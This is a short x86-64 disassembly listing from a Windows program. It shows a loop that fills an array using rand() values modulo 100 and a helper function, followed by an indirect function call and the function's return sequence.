add dword [rbp + 0x550], 1
cmp dword [rbp + 0x550], 0x195
jle 0x14000290a
mov dword [rbp + 0x550], 0
jmp 0x1400029e5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x550]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x550]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x3e0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ba0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x550], 1
cmp dword [rbp + 0x550], 0x195
jle 0x140002963
mov rax, qword [rbp + 0x3e8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x5d0]
add rsp, 0x668
pop rbx
pop rsi
pop rdi
pop rbp
ret